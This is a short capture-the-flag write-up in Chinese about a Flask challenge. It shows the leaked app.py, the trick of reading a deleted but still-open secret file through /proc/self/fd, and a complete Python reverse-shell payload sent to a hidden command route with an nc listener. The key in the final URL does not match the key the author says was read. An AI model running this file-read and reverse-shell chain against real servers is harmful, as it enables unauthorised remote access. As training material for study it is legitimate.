
不是,你这,我那

这就?
啊!?
反正肯定不是预期解,看看真正的解法吧
读取 /proc/self/environ /proc/self/cmdline    
   | 
 
得到

读取app.py,得到
from flask import Flask, Response from flask import render_template from flask import request import os import urllib
  app = Flask(__name__)
  SECRET_FILE = "/tmp/secret.txt" f = open(SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) //定义secretkey,然后删除 //但是没有关闭,所以可以在/proc/self/fd/xxx中找到
 
  @app.route('/') def index():     return render_template('search.html')
 
  @app.route('/page') def page():     url = request.args.get("url")     try:         if not url.lower().startswith("file"):             res = urllib.urlopen(url)             value = res.read()             response = Response(value, mimetype='application/octet-stream')             response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'             return response         else:             value = "HACK ERROR!"     except:         value = "SOMETHING WRONG!"     return render_template('search.html', res=value) //定义了一个文件读取的功能
  @app.route('/no_one_know_the_manager') def manager():     key = request.args.get("key")     print(SECRET_KEY)     if key == SECRET_KEY:         shell = request.args.get("shell")         os.system(shell)         res = "ok"     else:         res = "Wrong Key!"
      return res //传两个参数,如果key == SECRET_KEY,那么就可以执行命令,但是没有回显,可以用来反弹shell.
  if __name__ == '__main__':     app.run(host='0.0.0.0', port=8080)
 
   | 
 
所以读取一下key
这数字是一个一个试,试到三就行
读取到TqaOFuu2Sk29nB9Pc2s5wPKrWv/jknWSId5SFyNg7A4=
所以进行shell反弹
nc -lvp 3333
  /no_one_know_the_manager?key=lxzY3xvJIDngLAx7RogcmxYWJX5MOWEKSCyT36xso7k=&shell=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',3333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
   | 
 
反弹之后直接cat就好